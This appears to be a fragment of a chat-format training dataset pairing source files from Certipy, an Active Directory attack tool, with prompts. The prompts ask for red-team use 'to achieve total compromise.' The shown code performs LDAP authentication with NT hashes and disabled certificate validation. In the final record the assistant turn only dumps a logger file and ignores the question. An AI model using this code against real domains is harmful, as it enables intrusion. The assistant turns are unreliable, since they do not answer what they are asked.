\"\"\"\n\n def __init__(\n self, target: Target, *args: Any, channel_binding: bool = True, **kwargs: Any\n ) -> None:\n \"\"\"\n Initialize an extended LDAP connection with the specified target.\n\n Args:\n target: Target object containing connection details\n channel_binding: Whether to use channel binding (default: True)\n *args: Additional positional arguments for the parent class\n **kwargs: Additional keyword arguments for the parent class\n \"\"\"\n super().__init__(*args, **kwargs)\n\n # Replace standard strategy with extended strategy\n self.strategy = ExtendedStrategy(self)\n\n # Store target and connection properties\n self.target = target\n self.channel_binding = channel_binding\n self.negotiated_flags = 0\n\n # Encryption-related attributes\n self.ntlm_cipher: Optional[NTLMCipher] = None\n self.kerberos_cipher: Optional[KerberosCipher] = None\n self.should_encrypt = False\n\n # Alias important methods from strategy for direct access\n self.send = self.strategy.send\n self.open = self.strategy.open\n self.get_response = self.strategy.get_response\n self.post_send_single_response = self.strategy.post_send_single_response\n self.post_send_search = self.strategy.post_send_search\n\n def _encrypt(self, data: bytes) -> bytes:\n \"\"\"\n Encrypt LDAP message data using the appropriate cipher.\n\n Args:\n data: Plaintext data to encrypt\n\n Returns:\n Encrypted data with appropriate headers and signatures\n \"\"\"\n if self.ntlm_cipher is not None:\n # NTLM encryption\n signature, data = self.ntlm_cipher.encrypt(data)\n data = signature.getData() + data\n data = len(data).to_bytes(4, byteorder=\"big\", signed=False) + data\n elif self.kerberos_cipher is not None:\n # Kerberos encryption\n data, signature = self.kerberos_cipher.encrypt(\n data, self.strategy.sequence_number\n )\n data = signature + data\n data = len(data).to_bytes(4, byteorder=\"big\", signed=False) + data\n\n return data\n\n def _decrypt(self, data: bytes) -> bytes:\n \"\"\"\n Decrypt LDAP message data using the appropriate cipher.\n\n Args:\n data: Encrypted data to decrypt\n\n Returns:\n Decrypted plaintext data\n \"\"\"\n if self.ntlm_cipher is not None:\n # NTLM decryption\n _, data = self.ntlm_cipher.decrypt(data)\n elif self.kerberos_cipher is not None:\n # Kerberos decryption\n data = self.kerberos_cipher.decrypt(data)\n\n return data\n\n def do_ntlm_bind(self, controls: Any) -> Dict[str, Any]:\n \"\"\"\n Perform NTLM bind operation with optional controls.\n\n This method implements the complete NTLM authentication flow:\n 1. Sicily package discovery to verify NTLM support\n 2. NTLM negotiate message exchange\n 3. Challenge/response handling with optional channel binding\n 4. Session key establishment and encryption setup\n\n Args:\n controls: Optional LDAP controls to apply during the bind operation\n\n Returns:\n Result of the bind operation\n\n Raises:\n Exception: If NTLM authentication fails or is not supported\n \"\"\"\n self.last_error = None # type: ignore\n\n with self.connection_lock:\n if not self.sasl_in_progress:\n self.sasl_in_progress = True # NTLM uses SASL-like authentication flow\n try:\n # Step 1: Sicily package discovery to check for NTLM support\n request = rfc4511.BindRequest()\n request[\"version\"] = rfc4511.Version(self.version)\n request[\"name\"] = \"\"\n request[\n \"authentication\"\n ] = rfc4511.AuthenticationChoice().setComponentByName(\n \"sicilyPackageDiscovery\", rfc4511.SicilyPackageDiscovery(\"\")\n )\n\n response = self.post_send_single_response(\n self.send(\"bindRequest\", request, controls)\n )\n\n result = response[0]\n\n if not \"server_creds\" in result:\n raise Exception(\n \"Server did not return available authentication packages during discovery request\"\n )\n\n # Check if NTLM is supported\n sicily_packages = result[\"server_creds\"].decode().split(\";\")\n if not \"NTLM\" in sicily_packages:\n logging.error(\n f\"NTLM authentication not available on server. Supported packages: {sicily_packages}\"\n )\n raise Exception(\"NTLM not available on server\")\n\n # Step 2: Send NTLM negotiate message\n use_signing = self.target.ldap_signing and not self.server.ssl\n logging.debug(\n f\"Using NTLM signing: {use_signing} (LDAP signing: {self.target.ldap_signing}, SSL: {self.server.ssl})\"\n )\n negotiate = ntlm_negotiate(use_signing)\n\n request = rfc4511.BindRequest()\n request[\"version\"] = rfc4511.Version(self.version)\n request[\"name\"] = \"NTLM\"\n request[\n \"authentication\"\n ] = rfc4511.AuthenticationChoice().setComponentByName(\n \"sicilyNegotiate\", rfc4511.SicilyNegotiate(negotiate.getData())\n )\n\n response = self.post_send_single_response(\n self.send(\"bindRequest\", request, controls)\n )\n\n result = response[0]\n\n if result[\"result\"] != RESULT_SUCCESS:\n logging.error(f\"NTLM negotiate failed: {result}\")\n return result\n\n if not \"server_creds\" in result:\n logging.error(\n \"Server did not return NTLM challenge during bind request\"\n )\n raise Exception(\n \"Server did not return NTLM challenge during bind request\"\n )\n\n # Step 3: Process challenge and prepare authenticate response\n challenge = NTLMAuthChallenge()\n challenge.fromString(result[\"server_creds\"])\n\n channel_binding_data = None\n use_channel_binding = (\n self.target.ldap_channel_binding and self.server.ssl\n )\n logging.debug(\n f\"Using channel binding signing: {use_channel_binding} (LDAP channel binding: {self.target.ldap_channel_binding}, SSL: {self.server.ssl})\"\n )\n if use_channel_binding:\n if not isinstance(self.socket, ssl.SSLSocket):\n raise Exception(\n \"LDAP server is using SSL but the connection is not an SSL socket\"\n )\n\n logging.debug(\n \"Using LDAP channel binding for NTLM authentication\"\n )\n\n # Extract channel binding data from SSL socket\n channel_binding_data = get_channel_binding_data_from_ssl_socket(\n self.socket\n )\n\n # Generate NTLM authenticate message\n challenge_response, session_key, negotiated_flags = (\n ntlm_authenticate(\n negotiate,\n challenge,\n self.target.username,\n self.target.password or \"\",\n self.target.domain,\n self.target.nthash,\n channel_binding_data=channel_binding_data,\n )\n )\n\n # Step 4: Set up encryption if negotiated\n self.negotiated_flags = negotiated_flags\n self.should_encrypt = (\n negotiated_flags & NTLMSSP_NEGOTIATE_SEAL\n == NTLMSSP_NEGOTIATE_SEAL\n )\n\n if self.should_encrypt:\n self.ntlm_cipher = NTLMCipher(\n negotiated_flags,\n session_key,\n )\n\n # Step 5: Complete authentication with the NTLM authenticate message\n request = rfc4511.BindRequest()\n request[\"version\"] = rfc4511.Version(self.version)\n request[\"name\"] = \"\"\n request[\n \"authentication\"\n ] = rfc4511.AuthenticationChoice().setComponentByName(\n \"sicilyResponse\",\n rfc4511.SicilyResponse(challenge_response.getData()),\n )\n\n response = self.post_send_single_response(\n self.send(\"bindRequest\", request, controls)\n )\n\n result = response[0]\n\n if result[\"result\"] != RESULT_SUCCESS:\n logging.error(f\"LDAP NTLM authentication failed: {result}\")\n else:\n logging.debug(f\"LDAP NTLM authentication successful\")\n\n return result\n finally:\n self.sasl_in_progress = False\n else:\n raise Exception(\"SASL authentication already in progress\")\n\n\nclass LDAPConnection:\n \"\"\"\n Manages connections and operations to Active Directory via LDAP/LDAPS.\n\n This class handles authentication, searching, and modifying objects in\n Active Directory using the ldap3 library with extended functionality\n for secure operations.\n \"\"\"\n\n def __init__(\n self,\n target: Target,\n schannel_auth: Optional[Tuple[x509.Certificate, PrivateKeyTypes]] = None,\n ) -> None:\n \"\"\"\n Initialize an LDAP connection with the specified target.\n\n Args:\n target: Target object containing connection details\n ldap_pfx: Optional tuple containing LDAP PFX file path and password\n \"\"\"\n self.target = target\n self.schannel_auth = schannel_auth\n self.use_ssl = target.ldap_scheme == \"ldaps\"\n\n # Determine port based on scheme and target configuration\n if self.use_ssl:\n self.port = int(target.ldap_port) if target.ldap_port is not None else 636\n else:\n self.port = int(target.ldap_port) if target.ldap_port is not None else 389\n\n # Connection-related attributes\n self.default_path: Optional[str] = None\n self.configuration_path: Optional[str] = None\n self.ldap_server: Optional[ldap3.Server] = None\n self.ldap_conn: Optional[Union[\"ExtendedLdapConnection\", ldap3.Connection]] = (\n None\n )\n self.domain: Optional[str] = None\n\n # Caching and tracking\n self.sid_map: Dict[str, LDAPEntry] = {}\n self._domain_sid: Optional[str] = None\n self._users: Dict[str, LDAPEntry] = {}\n self._user_sids: Dict[str, Set[str]] = {}\n self.warned_missing_domain_sid_lookup: bool = False\n\n def connect(self) -> None:\n \"\"\"\n Connect to the LDAP server with the specified SSL/TLS version.\n\n This method establishes a connection to the LDAP server and handles\n authentication using the credentials from the target object.\n It supports multiple authentication methods:\n - Kerberos\n - NTLM\n - Simple bind\n\n Raises:\n Exception: If connection or authentication fails\n \"\"\"\n if self.target.target_ip is None:\n raise Exception(\"Target IP is not set\")\n\n if self.schannel_auth is not None:\n return self.schannel_connect()\n\n # Format user credentials\n user = f\"{self.target.domain}\\\\{self.target.username}\"\n user_upn = f\"{self.target.username}@{self.target.domain}\"\n\n # Create server object based on scheme\n if self.use_ssl:\n # Configure TLS for LDAPS\n tls = ldap3.Tls(\n validate=ssl.CERT_NONE,\n version=ssl.PROTOCOL_TLS_CLIENT,\n ciphers=\"ALL:@SECLEVEL=0\",\n ssl_options=[ssl.OP_ALL],\n )\n ldap_server = ldap3.Server(\n self.target.target_ip,\n use_ssl=True,\n port=self.port,\n get_info=ldap3.ALL,\n tls=tls,\n connect_timeout=self.target.timeout,\n )\n else:\n ldap_server = ldap3.Server(\n self.target.target_ip,\n use_ssl=False,\n port=self.port,\n get_info=ldap3.ALL,\n connect_timeout=self.target.timeout,\n )\n\n # Authentication based on method\n if self.target.do_kerberos:\n logging.debug(\"Authenticating to LDAP server using Kerberos authentication\")\n\n # Create connection for Kerberos authentication\n ldap_conn = ExtendedLdapConnection(\n self.target,\n ldap_server,\n receive_timeout=self.target.timeout * 10,\n )\n self._kerberos_login(ldap_conn)\n else:\n auth_method = \"SIMPLE\" if self.target.do_simple else \"NTLM\"\n logging.debug(\n f\"Authenticating to LDAP server using {auth_method} authentication\"\n )\n\n # Set up credentials for NTLM or simple authentication\n if self.target.hashes is not None:\n ldap_pass = f\"{self.target.lmhash}:{self.target.nthash}\"\n else:\n ldap_pass = self.target.password\n\n # Create connection\n ldap_conn = ExtendedLdapConnection(\n self.target,\n ldap_server,\n user=user_upn if self.target.do_simple else user,\n password=ldap_pass,\n authentication=ldap3.SIMPLE if self.target.do_simple else ldap3.NTLM,\n auto_referrals=False,\n receive_timeout=self.target.timeout * 10,\n )\n\n # Perform bind operation if not already bound\n if not ldap_conn.bound:\n bind_result = ldap_conn.bind()\n if not bind_result:\n result = ldap_conn.result\n\n self._check_ldap_result(result)\n\n # Get schema information if not already available\n if ldap_server.schema is None:\n ldap_server.get_info_from_server(ldap_conn)\n\n if ldap_conn.result[\"result\"] != RESULT_SUCCESS:\n if ldap_conn.result[\"message\"].split(\":\")[0] == \"000004DC\":\n raise Exception(\n \"Failed to bind to LDAP. This is most likely due to an invalid username\"\n )\n\n if ldap_server.schema is None:\n raise Exception(\"Failed to get LDAP schema\")\n\n logging.debug(f\"Bound to {ldap_server}\")\n\n # Store connection objects and directory paths\n self.ldap_conn = ldap_conn\n self.ldap_server = ldap_server\n\n self.default_path = self.ldap_server.info.other[\"defaultNamingContext\"][0]\n self.configuration_path = self.ldap_server.info.other[\n \"configurationNamingContext\"\n ][0]\n\n logging.debug(f\"Default path: {self.default_path}\")\n logging.debug(f\"Configuration path: {self.configuration_path}\")\n\n # Extract domain name from LDAP service name\n self.domain = self.ldap_server.info.other[\"ldapServiceName\"][0].split(\"@\")[-1]\n\n def schannel_connect(self) -> None:\n if self.schannel_auth is None:\n raise Exception(\n \"Schannel authentication requires a certificate and private key\"\n )\n\n if self.target.target_ip is None:\n raise Exception(\"Target IP is not set\")\n\n cert, key = self.schannel_auth\n\n # Create temporary files for certificate and key\n key_file = tempfile.NamedTemporaryFile(delete=False)\n _ = key_file.write(key_to_pem(key))\n key_file.close()\n\n cert_file = tempfile.NamedTemporaryFile(delete=False)\n _ = cert_file.write(cert_to_pem(cert))\n cert_file.close()\n\n # Configure TLS for LDAPS\n tls = ldap3.Tls(\n local_private_key_file=key_file.name,\n local_certificate_file=cert_file.name,\n validate=ssl.CERT_NONE,\n version=ssl.PROTOCOL_TLS_CLIENT,\n ciphers=\"ALL:@SECLEVEL=0\",\n ssl_options=[ssl.OP_ALL],\n )\n\n ldap_server = ldap3.Server(\n self.target.target_ip,\n use_ssl=self.use_ssl,\n port=self.port,\n get_info=ldap3.ALL,\n tls=tls,\n connect_timeout=self.target.timeout,\n )\n\n logging.debug(\"Authenticating to LDAP server using Schannel authentication\")\n logging.info(\n f\"Connecting to {f'{self.target.ldap_scheme}://{self.target.target_ip}:{self.port}'!r}\"\n )\n\n # Configure authentication parameters for non-SSL connections\n conn_kwargs = {}\n if not self.use_ssl:\n # Configure SASL credentials if user DN is specified\n sasl_credentials = None\n if self.target.ldap_user_dn:\n sasl_credentials = f\"dn:{self.target.ldap_user_dn}\"\n\n if sasl_credentials:\n logging.info(f\"Using DN: {sasl_credentials!r}\")\n else:\n logging.warning(\n \"No DN specified for LDAP authentication. \"\n \"Try to use '-ldap-user-dn' to specify a user DN if authentication fails\"\n )\n\n conn_kwargs = {\n \"authentication\": ldap3.SASL,\n \"sasl_mechanism\": ldap3.EXTERNAL,\n \"auto_bind\": ldap3.AUTO_BIND_TLS_BEFORE_BIND,\n \"sasl_credentials\": sasl_credentials,\n }\n\n # Create connection\n try:\n ldap_conn = ldap3.Connection(\n ldap_server,\n raise_exceptions=True,\n auto_referrals=False,\n receive_timeout=self.target.timeout * 10,\n **conn_kwargs, # type: ignore\n )\n except Exception as e:\n logging.error(f\"Failed to connect to LDAP server: {e}\")\n raise\n\n # Open the connection if using SSL. Non-SSL connections are opened automatically.\n if self.use_ssl:\n ldap_conn.open()\n\n # Get authenticated identity\n who_am_i = ldap_conn.extend.standard.who_am_i()\n if not who_am_i:\n raise Exception(\n \"Failed to authenticate to LDAP server. Server did not return an identity (whoAmI)\"\n )\n\n logging.info(f\"Authenticated to {self.target.target_ip!r} as: {who_am_i!r}\")\n\n # Get schema information if not already available\n if ldap_server.schema is None:\n ldap_server.get_info_from_server(ldap_conn)\n\n if ldap_conn.result[\"result\"] != RESULT_SUCCESS:\n if ldap_conn.result[\"message\"].split(\":\")[0] == \"000004DC\":\n raise Exception(\n \"Failed to bind to LDAP. This is most likely due to an invalid username\"\n )\n\n if ldap_server.schema is None:\n raise Exception(\"Failed to get LDAP schema\")\n\n logging.debug(f\"Bound to {ldap_server}\")\n\n # Store connection objects and directory paths\n self.ldap_conn = ldap_conn\n self.ldap_server = ldap_server\n\n self.default_path = self.ldap_server.info.other[\"defaultNamingContext\"][0]\n self.configuration_path = self.ldap_server.info.other[\n \"configurationNamingContext\"\n ][0]\n\n logging.debug(f\"Default path: {self.default_path}\")\n logging.debug(f\"Configuration path: {self.configuration_path}\")\n\n # Extract domain name from LDAP service name\n self.domain = self.ldap_server.info.other[\"ldapServiceName\"][0].split(\"@\")[-1]\n\n def _kerberos_login(self, connection: \"ExtendedLdapConnection\") -> None:\n \"\"\"\n Perform Kerberos authentication to LDAP server.\n\n Args:\n connection: LDAP connection object\n\n Raises:\n Exception: If Kerberos authentication fails\n \"\"\"\n\n # Ensure connection is open\n if connection.closed:\n connection.open(read_server_info=True)\n\n # Setup channel binding if enabled and using SSL\n channel_binding_data = None\n if self.target.ldap_channel_binding and connection.server.ssl:\n logging.debug(\"Using LDAP channel binding for Kerberos authentication\")\n\n if not isinstance(connection.socket, ssl.SSLSocket):\n raise Exception(\n \"LDAP server is using SSL but the connection is not an SSL socket\"\n )\n\n # Extract channel binding data from SSL socket\n channel_binding_data = get_channel_binding_data_from_ssl_socket(\n connection.socket\n )\n\n # Get Kerberos Type 1 message\n cipher, session_key, blob, username = get_kerberos_type1(\n self.target,\n target_name=self.target.remote_name or \"\",\n channel_binding_data=channel_binding_data,\n signing=self.target.ldap_signing and not connection.server.ssl,\n )\n\n # Create SASL bind request\n request = bind_operation(\n connection.version,\n ldap3.SASL,\n username,\n None,\n \"GSS-SPNEGO\",\n blob,\n )\n\n # Send bind request and process response\n connection.sasl_in_progress = True\n response = connection.post_send_single_response(\n connection.send(\"bindRequest\", request, None)\n )\n connection.sasl_in_progress = False\n\n result = response[0]\n\n if result[\"result\"] != RESULT_SUCCESS:\n logging.error(f\"LDAP Kerberos authentication failed: {result}\")\n else:\n logging.debug(f\"LDAP Kerberos authentication successful\")\n\n self._check_ldap_result(result)\n\n # Set up encryption if signing is requested\n if self.target.ldap_signing and not connection.server.ssl:\n connection.kerberos_cipher = KerberosCipher(cipher, session_key)\n connection.should_encrypt = self.target.ldap_signing\n\n connection.bound = True\n\n def _check_ldap_result(self, result: Dict[str, Any]) -> None:\n \"\"\"\n Handle LDAP errors based on the result dictionary.\n\n Args:\n result: Result dictionary from the LDAP bind operation\n\n Raises:\n Exception: If an error occurs during the LDAP operation\n \"\"\"\n if result[\"result\"] != RESULT_SUCCESS:\n if (\n result[\"result\"] == RESULT_INVALID_CREDENTIALS\n and result[\"message\"].split(\":\")[0] == \"80090346\"\n ):\n raise Exception(\n (\n \"LDAP authentication refused because channel binding policy was not satisfied. \"\n \"Try one of these options:\\n\"\n \"- Remove '-no-ldap-channel-binding'\\n\"\n \"- Use '-ldap-scheme ldap' to disable TLS encryption\\n\"\n \"- Use '-ldap-simple-auth' for SIMPLE bind authentication\"\n )\n )\n elif (\n result[\"result\"] == RESULT_STRONGER_AUTH_REQUIRED\n and result[\"message\"].split(\":\")[0] == \"00002028\"\n ):\n raise Exception(\n \"LDAP authentication refused because LDAP signing is required. \"\n \"Try one of these options:\\n\"\n \"- Remove '-no-ldap-signing' to enable LDAP signing\\n\"\n \"- Use '-ldap-scheme ldaps' to use TLS encryption\\n\"\n \"- Use '-ldap-simple-auth' for SIMPLE bind authentication\"\n )\n raise Exception(f\"Kerberos authentication failed: {result}\")\n\n def add(self, *args: Any, **kwargs: Any) -> Any:\n \"\"\"\n Add a new entry to the LDAP directory.\n\n Args:\n *args: Arguments to pass to the underlying LDAP add operation\n **kwargs: Keyword arguments to pass to the underlying LDAP add operation\n\n Returns:\n Result of the add operation\n\n Raises:\n Exception: If LDAP connection is not established\n \"\"\"\n if not self.ldap_conn:\n raise Exception(\"LDAP connection is not established\")\n\n self.ldap_conn.add(*args, **kwargs)\n return self.ldap_conn.result\n\n def delete(self, *args: Any, **kwargs: Any) -> Any:\n \"\"\"\n Delete an entry from the LDAP directory.\n\n Args:\n *args: Arguments to pass to the underlying LDAP delete operation\n **kwargs: Keyword arguments to pass to the underlying LDAP delete operation\n\n Returns:\n Result of the delete operation\n\n Raises:\n Exception: If LDAP connection is not established\n \"\"\"\n if not self.ldap_conn:\n raise Exception(\"LDAP connection is not established\")\n\n self.ldap_conn.delete(*args, **kwargs)\n return self.ldap_conn.result\n\n def modify(self, *args: Any, **kwargs: Any) -> Any:\n \"\"\"\n Modify an existing entry in the LDAP directory.\n\n Args:\n *args: Arguments to pass to the underlying LDAP modify operation\n **kwargs: Keyword arguments to pass to the underlying LDAP modify operation\n\n Returns:\n Result of the modify operation\n\n Raises:\n Exception: If LDAP connection is not established\n \"\"\"\n if not self.ldap_conn:\n raise Exception(\"LDAP connection is not established\")\n\n self.ldap_conn.modify(*args, **kwargs)\n return self.ldap_conn.result\n\n def search(\n self,\n search_filter: str,\n attributes: Union[str, List[str]] = ldap3.ALL_ATTRIBUTES,\n search_base: Optional[str] = None,\n query_sd: bool = False,\n **kwargs: Any,\n ) -> List[LDAPEntry]:\n \"\"\"\n Search the LDAP directory with the given filter and return matching entries.\n\n Args:\n search_filter: LDAP search filter string\n attributes: List of attributes to retrieve or ldap3.ALL_ATTRIBUTES\n search_base: Base DN for the search, defaults to domain base\n query_sd: Whether to query security descriptors\n **kwargs: Additional arguments for the search operation\n\n Returns:\n List of matching LDAP entries\n\n Raises:\n Exception: If LDAP connection is not established\n \"\"\"\n if search_base is None:\n search_base = self.default_path\n\n # Set security descriptor control if requested\n if query_sd:\n controls = security_descriptor_control(sdflags=0x5)\n else:\n controls = None\n\n if self.ldap_conn is None:\n raise Exception(\"LDAP connection is not established\")\n\n # Perform paged search to handle large result sets\n results = self.ldap_conn.extend.standard.paged_search(\n search_base=search_base,\n search_filter=search_filter,\n attributes=attributes,\n controls=controls,\n paged_size=200,\n generator=True,\n **kwargs,\n )\n\n if self.ldap_conn.result[\"result\"] != 0:\n logging.warning(\n f\"LDAP search {search_filter!r} failed: \"\n f\"({self.ldap_conn.result['description']}) {self.ldap_conn.result['message']}\"\n )\n return []\n\n # Convert search results to LDAPEntry objects\n entries = list(\n map(\n lambda entry: LDAPEntry(**entry),\n filter(\n lambda entry: entry[\"type\"] == \"searchResEntry\",\n results,\n ),\n )\n )\n return entries\n\n def get_user(\n self, username: str, silent: bool = False, *args: Any, **kwargs: Any\n ) -> Optional[LDAPEntry]:\n \"\"\"\n Find a user by samAccountName.\n\n This method searches for a user by samAccountName and automatically\n handles computer account naming ($) if needed.\n\n Args:\n username: Username to search for (samAccountName)\n silent: Whether to suppress error logging for missing users\n *args: Additional arguments for the search\n **kwargs: Additional keyword arguments for the search\n\n Returns:\n User entry or None if not found\n \"\"\"\n\n def _get_user(username: str, *args: Any, **kwargs: Any) -> Optional[LDAPEntry]:\n \"\"\"Helper function to search for a user, with caching.\"\"\"\n sanitized_username = username.lower().strip()\n\n # Return cached result if available\n if sanitized_username in self._users:\n return self._users[sanitized_username]\n\n # Search for the user\n results = self.search(f\"(sAMAccountName={username})\", *args, **kwargs)\n if len(results) != 1:\n return None\n\n # Cache the result\n self._users[sanitized_username] = results[0]\n return results[0]\n\n # Try without $ suffix first\n user = _get_user(username, *args, **kwargs)\n\n # Try with $ suffix (for computer accounts)\n if user is None and not username.endswith(\"$\"):\n user = _get_user(f\"{username}$\", *args, **kwargs)\n\n # Log error if user not found and silent mode is not enabled\n if user is None and not silent:\n logging.error(f\"Could not find user {username!r}\")\n\n return user\n\n @property\n def domain_sid(self) -> Optional[str]:\n \"\"\"\n Get the domain's security identifier (SID).\n\n The domain SID is the base identifier used for all domain security principals.\n\n Returns:\n Domain SID or None if not found\n \"\"\"\n # Return cached value if available\n if self._domain_sid is not None:\n return self._domain_sid\n\n # Query domain object for SID\n results = self.search(\n \"(objectClass=domain)\",\n attributes=[\"objectSid\"],\n )\n\n if len(results) != 1:\n return None\n\n result = results[0]\n domain_sid = result.get(\"objectSid\")\n\n # Cache the result\n self._domain_sid = domain_sid\n return domain_sid\n\n def get_user_sids(\n self,\n username: str,\n user_sid: Optional[str] = None,\n user_dn: Optional[str] = None,\n ) -> Set[str]:\n \"\"\"\n Get all SIDs associated with a user, including groups.\n\n This method collects all security identifiers (SIDs) that apply to a user,\n including the user's personal SID, well-known SIDs, primary group SID,\n and all group memberships (direct and nested).\n\n Args:\n username: Username to look up\n user_sid: Optional SID to use if user lookup fails\n user_dn: Optional DN to use if user lookup fails\n\n Returns:\n Set of SIDs the user belongs to\n \"\"\"\n # Return cached value if available\n sanitized_username = username.lower().strip()\n if sanitized_username in self._user_sids:\n return self._user_sids[sanitized_username]\n\n # Get user object or create minimal one if not found\n user = self.get_user(username)\n if not user:\n user = {\"objectSid\": user_sid, \"distinguishedName\": user_dn}\n if not user_sid:\n logging.warning(\n \"User SID can't be retrieved. For more accurate results, add it manually with -sid\"\n )\n\n # Start with basic SIDs\n sids: Set[str] = set()\n\n # Add user's own SID\n object_sid = user.get(\"objectSid\")\n if object_sid:\n sids.add(object_sid)\n\n # Add well-known SIDs: Everyone, Authenticated Users, Users\n sids |= {\"S-1-1-0\", \"S-1-5-11\", \"S-1-5-32-545\"}\n\n # Add primary group (usually Domain Users)\n primary_group_id = user.get(\"primaryGroupID\")\n if primary_group_id is not None and self.domain_sid:\n sids.add(f\"{self.domain_sid}-{primary_group_id}\")\n\n # Add Domain Users and Domain Computers group\n if self.domain_sid:\n logging.debug(\n \"Adding 'Domain Users' and 'Domain Computers' to list of current user's SIDs\"\n )\n sids.add(f\"{self.domain_sid}-513\") # Domain Users\n sids.add(f\"{self.domain_sid}-515\") # Domain Computers\n\n # Collect DNs to search for group membership\n dns = [user.get(\"distinguishedName\")]\n for sid in sids:\n object_entry = self.lookup_sid(sid)\n if \"dn\" in object_entry:\n dns.append(object_entry[\"dn\"])\n\n # Build LDAP query for nested group membership (LDAP_MATCHING_RULE_IN_CHAIN)\n member_of_queries = []\n for dn in dns:\n if dn: # Skip None values\n member_of_queries.append(f\"(member:1.2.840.113556.1.4.1941:={dn})\")\n\n if member_of_queries:\n try:\n # Query for nested group membership\n groups = self.search(\n f\"(|{''.join(member_of_queries)})\",\n attributes=\"objectSid\",\n )\n\n # Add all group SIDs to the set\n for group in groups:\n sid = group.get(\"objectSid\")\n if sid is not None:\n sids.add(sid)\n\n except Exception as e:\n logging.warning(f\"Failed to get user SIDs: {e}\")\n logging.warning(\"Try increasing -timeout parameter value\")\n handle_error(True)\n\n # Cache the results\n self._user_sids[sanitized_username] = sids\n\n # Debug output of collected SIDs\n logging.debug(f\"User {username!r} has {len(sids)} SIDs:\")\n for sid in sids:\n logging.debug(f\" {sid}\")\n\n return sids\n\n def lookup_sid(self, sid: str) -> LDAPEntry:\n \"\"\"\n Look up an object by its SID.\n\n This method finds an Active Directory object by its security identifier,\n or returns a synthetic entry for well-known SIDs.\n\n Args:\n sid: Security identifier to look up\n\n Returns:\n LDAPEntry for the object, or a synthetic entry for well-known SIDs\n\n Raises:\n Exception: If LDAP connection is not established\n \"\"\"\n # Return cached value if available\n if sid in self.sid_map:\n return self.sid_map[sid]\n\n # Handle well-known SIDs\n if sid in WELLKNOWN_SIDS:\n if self.domain is None and not self.warned_missing_domain_sid_lookup:\n self.warned_missing_domain_sid_lookup = True\n logging.warning(\n \"Domain is not set for LDAP connection. This may cause issues when looking up SIDs\"\n )\n\n # Create synthetic entry for well-known SID\n entry = LDAPEntry(\n **{\n \"attributes\": {\n \"objectSid\": f\"{(self.domain or '').upper()}-{sid}\",\n \"objectType\": WELLKNOWN_SIDS[sid][1].capitalize(),\n \"name\": f\"{self.domain}\\\\{WELLKNOWN_SIDS[sid][0]}\",\n }\n }\n )\n self.sid_map[sid] = entry\n return entry\n\n # For regular SIDs, query the directory\n attributes = [\n \"sAMAccountType\",\n \"name\",\n \"objectSid\",\n \"distinguishedName\",\n \"objectClass\",\n ]\n\n if self.ldap_conn is None:\n raise Exception(\"LDAP connection is not established\")\n\n # Only request msDS-GroupMSAMembership when it exists in the schema\n if (\n self.ldap_conn.server.schema\n and \"msDS-GroupMSAMembership\"\n in self.ldap_conn.server.schema.attribute_types\n ):\n attributes.append(\"msDS-GroupMSAMembership\")\n\n # Search for object with the given SID\n results = self.search(\n f\"(objectSid={sid})\",\n attributes=attributes,\n )\n\n # Handle results\n if len(results) != 1:\n logging.warning(f\"Failed to lookup object with SID {sid!r}\")\n # Create synthetic entry for unknown SID\n entry = LDAPEntry(\n **{\n \"attributes\": {\n \"objectSid\": sid,\n \"name\": sid,\n \"objectType\": \"Unknown\",\n }\n }\n )\n else:\n # Process found entry\n entry = results[0]\n entry.set(\"name\", f\"{self.domain}\\\\{entry.get('name')}\")\n entry.set(\"objectType\", get_account_type(entry))\n\n # Cache the result\n self.sid_map[sid] = entry\n return entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/logger.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCustom logging configuration for Certipy.\n\nThis module provides specialized logging formatters and initialization functions\nfor consistent log output across the Certipy application.\n\"\"\"\n\nimport logging as _logging\nimport sys\nfrom typing import Dict\n\n# from impacket.examples import logger as _impacket_logger\n\n_IS_VERBOSE = False # Flag to control verbosity of logging output\n\n\ndef set_verbose(is_verbose: bool) -> None:\n \"\"\"\n Set the verbosity level for logging.\n\n Args:\n is_verbose: Boolean indicating whether to enable verbose logging\n \"\"\"\n global _IS_VERBOSE\n _IS_VERBOSE = is_verbose # type: ignore\n\n\ndef is_verbose() -> bool:\n \"\"\"\n Check if verbose logging is enabled.\n\n Returns:\n Boolean indicating whether verbose logging is enabled\n \"\"\"\n return _IS_VERBOSE\n\n\n# Bullet point mapping for different log levels\nBULLET_POINTS: Dict[int, str] = {\n _logging.INFO: \"[*]\",\n _logging.DEBUG: \"[+]\",\n _logging.WARNING: \"[!]\",\n _logging.ERROR: \"[-]\",\n _logging.CRITICAL: \"[-]\",\n}\n\n\nclass Formatter(_logging.Formatter):\n \"\"\"\n Custom formatter that adds bullet-point indicators based on log level.\n\n Formats log messages with the following bullet points:\n - INFO: [*] - Informational messages about normal operation\n - DEBUG: [+] - Detailed debugging information\n - WARNING: [!] - Warning about potential issues\n - ERROR: [-] - Error conditions preventing normal operation\n - CRITICAL:[-] - Critical failure requiring immediate attention\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"\n Initialize the formatter with a simple format string.\n\n The format uses a custom 'bullet' attribute added during formatting.\n \"\"\"\n super().__init__(\"%(bullet)s %(message)s\")\n\n def format(self, record: _logging.LogRecord) -> str:\n \"\"\"\n Format the log record by adding an appropriate bullet point.\n\n Args:\n record: The log record to format\n\n Returns:\n Formatted log message with bullet point prefix\n \"\"\"\n # Add bullet point based on log level, defaulting to \"[-]\" for unknown levels\n record.bullet = BULLET_POINTS.get(record.levelno, \"[-]\")\n\n # Call parent formatter to apply the format string\n return super().format(record)\n\n\ndef init(\n level: int = _logging.INFO, logger_name: str = \"certipy\", propagate: bool = False\n) -> None:\n \"\"\"\n Initialize the Certipy logger with the appropriate formatter.\n\n Args:\n level: Log level to set (default: INFO)\n logger_name: Name of the logger to configure (default: \"certipy\")\n propagate: Whether to propagate logs to parent loggers (default: False)\n\n Note:\n This function configures a logger that:\n - Outputs to stdout with bullet-point prefixed messages\n - Has the specified log level (INFO by default)\n - Can be isolated from parent loggers (default behavior)\n\n Example:\n # Standard initialization\n init()\n\n # Initialize with debug level\n init(level=logging.DEBUG)\n \"\"\"\n # Create stdout handler\n handler = _logging.StreamHandler(sys.stdout)\n\n # Apply the custom formatter\n handler.setFormatter(Formatter())\n\n # Configure the logger\n logger = _logging.getLogger(logger_name)\n\n # Remove existing 